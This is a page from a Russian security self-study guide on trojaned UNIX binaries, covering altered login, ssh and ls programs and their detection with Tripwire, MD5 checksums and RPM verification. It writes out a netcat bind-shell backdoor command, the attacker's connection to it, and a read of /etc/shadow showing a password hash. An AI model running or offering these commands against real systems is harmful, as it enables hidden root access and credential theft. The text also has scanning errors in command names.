Иллюстрированный самоучитель по защите в Интернет

Программы типа "троянский конь"

После того как взломщик получит права суперпользователя, он может "троянизировать" практически любую команду операционной системы. Именно поэтому так важно проверять размер, а также дату и время создания и модификации всех двоичных файлов, особенно тех, которые используются чаще всего, – login, su, telnet, ftp, passwd, netstat, ifconfig, Is, ps, ssh, find, du, df, sync, reboot, halt, shutdown и т.д.

Например, часто используемым "троянским конем", входящим во многие комплекты отмычек, является "препарированная" версия программы login. Эта программа не только осуществляет регистрацию пользователей в системе, как и обычная команда login, но еще и записывает имена пользователей и пароли в отдельный файл. Существует также "препарированная" версия ssh, которая также выполняет подобные операции.

Другие программы типа "троянский конь" создают потайные ходы в систему, запуская программы, ожидающие поступления определенных данных через порт TCP и, в случае поступления таких данных, предоставляющие скрытый доступ к командной оболочке UNIX. Например, команда Is может проверять наличие ранее запущенных "троянских коней" и, если таковых не обнаруживается, запускать специальным образом подготовленную программу netcat, которая, в свою очередь, запустит оболочку /bin/sh, как только злоумышленник подключится к определенному порту. Например, в следующем примере показано, как программа netcat, запушенная в фоновом режиме, настраивается на прослушивание порта TCP с номером 222, а после подключения устанавливает ответный сеанс с помощью /bin/sh.

[tsunami]! nohup nc – 1 – p 222 – nw – e /bin/sh &
listening on [any] 222…

Когда злоумышленник подключится к порту TCP 222, он увидит следующую информацию.

[rumble]# nc – nw 24.8.128.204 222
(UNKNOWN) [192.168.1.100] 222 (?) open

Это означает, что у него имеются все права суперпользователя и он может выполнить любую операцию, для которой нужно обладать привилегиями root, как например, показанную ниже.

cat /etc/shadow
root:ar90alrR10r41:10783:0:99999:7:-l:-l:134530596
bin:*:10639:0:99999:7:::
daemon:*:10639:0:99999:7:::
adm:*:10639:0:99999:7:::

Количество потенциальных методов внедрения "троянских коней" зависит лишь от воображения злоумышленника (которое, как правило, является весьма богатым и изощренным). Некоторые из возможных методов более подробно описаны в главе 14.

Постоянный мониторинг и тщательная инвентаризация всех открытых портов может воспрепятствовать попыткам нарушений безопасности такого рода, однако лучшим методом является предупреждение возможности модификации двоичных файлов.

Контрмеры: защита от "троянских коней"

Обнаружить программы типа "троянский конь" без соответствующих средств подчас довольно трудно. Возлагать надежды на стандартные методы, основанные на размере и дате, не приходится, поскольку опытный взломщик может создать файл, который будет иметь такой же размер, как и исходный, а также те же время и дату. Более эффективным является, например, метод, основанный на использовании программы, определяющей криптографическую контрольную сумму, с помощью которой для каждого исполняемого файла создается уникальная цифровая подпись. Эти подписи должны храниться в защищенном, недоступном для посторонних месте, например на дискете, находящейся в сейфе в специальном помещении.

Программы, подобные Tripwire (http://www.tripwire.com) и MDSsum, являются одними из самых популярных в этой категории. Они позволяют записывать уникальные подписи всех программ и однозначно обнаруживать случаи модификации исполняемых файлов злоумышленниками. Очень часто администраторы пренебрегают подсчетом контрольных сумм до тех пор, пока не выявят попыток вторжения. Очевидно, что такое решение нельзя считать идеальным. К счастью, в состав некоторых систем входят пакеты, в которых изначально встроены строгие атгоритмы хэширования. Например, во многих версиях Linux используется формат RPM (RedHat Package Manager). В спецификации RPM определен также алгоритм подсчета контрольных сумм с использованием протокола MD5. Как же все эти средства помогают противостоять опасности вторжения? С помошью проверенной копии утилиты rpm можно сгенерировать запрос к пакету, который не подвергся взлому, и получить информацию о том, были ли изменены связанные с ним двоичные файлы.

[@shadow]# rpm – Vvp ftp://ftp.redhat.com/pub/redhat/\
redhat-6.2/i386/RedHat/RPMS/fileutils-4.0-21.i386.rpm
S.5….T /bin/Is

В приведенном примере /bin/Is представляет собой часть пакета утилит для работы с файлами системы RedHat 6.2. Как видно из полученных данных, файл /bin/Is был изменен (5). Это означает, что контрольная сумма двоичного файла и пакета MD5 отличается. А это является верным признаком присутствия злоумышленника.

Для систем Solaris полную базу данных контрольных сумм MD5 можно получить по адресу http://sunsolve.sun.com/pub-cgi/fileFingerprints.pl. Эта база данных поддерживается компанией Sun. Если вы являетесь администратором системы Solaris, то она окажется чрезвычайно полезной.

Конечно, если ваша система оказалась взломанной, не пытайтесь восстановить ее с резервных копий: они наверняка также окажутся инфицированными. Для того чтобы корректно восстановить систему, ее необходимо полностью перестроить, воспользовавшись исходными носителями информации.

Если Вы заметили ошибку, выделите, пожалуйста, необходимый текст и нажмите CTRL + Enter, чтобы сообщить об этом редактору.